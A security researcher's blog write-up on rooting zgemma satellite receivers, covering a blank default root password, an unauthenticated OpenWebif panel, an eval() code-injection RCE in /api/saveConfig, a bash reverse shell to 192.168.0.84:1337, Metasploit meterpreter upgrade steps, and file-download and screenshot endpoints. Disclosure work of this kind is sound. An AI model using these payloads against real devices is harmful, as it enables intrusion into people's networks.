Last week I was given two embedded Linux boxes with no explanation of what they were; they came in a plain white box.
Initial impressions revealed the box was made by a company called zgemma and I had one of their H2.S and one H2 model satellite boxes. More investigation on the website and questioning their previous owner and it turns out they are bought to illegally stream satellite TV services. They support IPTV and common apps like YouTube and are sold by different vendors like Vu+Duo or Dreambox.
The zgemma variant of these satellite receivers come pre-installed with Enigma2, specifically the OpenATV flavor. There are others such as OpenPLI, OpenSPA, OpenDroid and OpenVix. Enigma2 is the firmware that runs on the box and enables the features to interpret satellite streams. It can also be extended with plugins which is where my focus went. Themes are supported to skin the front-end to imitate popular TV service providers like BSkyB.
OpenWebif (Open Web Interface) is a plugin to Enigma2 that allows your box to be controlled via a browser remotely.
On first boot of one of the boxes I scanned it with nmap and immediately thought "this is going to be fun". SSH, FTP, Telnet and a web server on port 80 along with some miscellaneous ports. There is no reason those services should be enabled for the average user and using the previous owner of these boxes as a reference that seems ever more true.
The problem with logging in came when I realized I didn't have the password, nor did the previous owner (why would they?). My immediate thought was to try and bruteforce it, but that would take time and it was late in the day already. Next was to try and find a firmware file to download and see if I could reverse engineer it to find out if there is a default password set for each box. This took me to here. Looking at the date of release, 6th of December 2018, I was beginning to accept there was no way in and nothing to find if I did get in since it appears actively maintained. But I had started so I may as well check.
Unzipping the file gave me 2 .bin files, kernel.bin and rootfs.bin. Running file on rootfs.bin told me its a ubifs image. I used a wonderful tool called ubidump that allowed me to pull a file and read it's contents and since I wanted to see if there was a default password I grabbed /etc/passwd and /etc/shadow.
See that? There is no password. By default there is no password to SSH, FTP or Telnet for root. That didn't help since this box had a password set so I flashed the box to the latest firmware and got a shell as root.
All this was done on the H2 model receiver. The H2.S model actually had no password and I could get a shell on that too without flashing, so I had one box with the latest firmware and one without and a root shell on both. Things were starting to look up.
No as it stands having no root password (and no other users by the way) is pretty bad since the everyday user wouldn't know how to login and change it via SSH or Telnet but I wanted to assume like the H2 model that there would be occasions that a password was set so was there another way in?
I began looking around and noticed python and nmap were installed (yes, really). Enigma2 is built using python so the former makes sense but nmap? Anyway, I remembered there was a webserver running so I took a look in Firefox and was presented with a page called OpenWebif. No authentication. I quickly saw that you can control the box using this interface including powering off, changing channel, viewing streams in the browser, EPG, taking a screenshot (why?) and adjusting settings. What struck me the most was the link named "terminal" which lead to this.
Moving on to the about page told me it was version 1.2.1 but looking at the GitHub for this plugin revealed there was only 1.1.0 and 1.2.4 so I couldn't get the exact source. A quick search and in /usr/lib/enigma2/python/Plugings/Extensions/OpenWebif/ I found all of the source files as compiled python .pyo files. This was no issue as I used uncompyle2 to convert them back to readable .py files.
I grabbed the api, message, root, config, httpserver, file and rest .pyo files via FTP. I took a look at config first.
The saveConfig function performs eval() on the path argument. If you didn't know the eval() function in python interprets a string as a python expression. In other words, if I were to insert python code into the path argument it would be executed. I don't know where the saveConfig function is called although I can take a guess.
Using Burp and messing with the settings page on OpenWebif shows a call to /api/saveConfig
We can either modify the traffic or just try it in the browser. Trying to create a file in /tmp with
import os;os.system("touch /tmp/test.txt") doesn't seem to work so if we switch to
__import__("os").system("touch /tmp/test.txt") then we get a nice text file. Command execution. Can we get a full reverse shell?
bash -i >& /dev/tcp/192.168.0.84/1337 0>&1 doesn't work because it contains special characters, but if we encode it first we get
It's not a fully interactive shell so let's see if we can upgrade this to a meterpreter session. We can use multi/handler but let's set our payload as
linux/mipsle/shell_reverse_tcp The reason we are using MIPS is because thats the architecture of these boxes and you can confirm it by running
Immediately background the session and then load
post/multi/manage/shell_to_meterpreter set the session to match the one created and then run.
Once I had finished this write up I went ahead and searched to see if it had a CVE assigned already and it has been classified as CVE-2017-9807 but it was fun to search and find it.
There are 3 other things I did find after the RCE vulnerability above. One was an arbitrary file download if you make a request to /file and specify the file and action parameters. I have requested a CVE for this.
This one is fixed in one of the commits in the OpenWebif git repo but it doesn't have an official release so if you get the latest version this vulnerability still exists. You can also modify it and specify dir instead of file and get directory listing. This one I executed with curl.
The last one is a little bit silly but there is another API endpoint exposed that shows a message on the TV that the box is connected to. It's the same process as before by visiting
/api/message?text=[message]&type=1 in the browser.
You can modify the type parameter to get an error, info or yes/no style box.
This image was captured using another exposed API endpoint. If you make a request using curl to
http://[ipaddress]/grab?format=jpg&r=720 that it will take a screenshot of the video feed. Make sure you specify the -o option to save to a file. The full command is
curl -o /tmp/screenshot.jpg http://[ipaddress]/grab?format=jpg&r=720
Although the software is still maintained there are thousands of these boxes still out there with these issues and even though there might not be any personal or sensitive information other than perhaps a password that could be cracked that is reused, there is the possibility of lateral movement within the network they're attached to.
If you own one of these then you should really disconnect if from the network or enable web authentication and SSL in the settings of OpenWebif from the plugins page.
The URLs differ depending on the manufacturer of the box, for example, to get the box status and see if it is in standby or not on a zgemma model then you query the url
/api/statusinfo but on a Dreambox you need to query individual pages like
/web/powerstate and it will return an XML document rather than a JSON object. There is
/web/deviceinfo for Dreambox models which looks like this.
To send a message to Dreambox devices you have to make a POST request to
/web/message and specifying the text and type parameters as before.
Also to note is for Dreambox devices OpenWebif doesn't need to be installed. Instead, those endpoints are available in the default 'Dreambox WebControl' panel.
I put in the request and as of December 21st 2018 the arbitrary file download and directory listing vulnerabilities have been assigned CVE-2018-20332.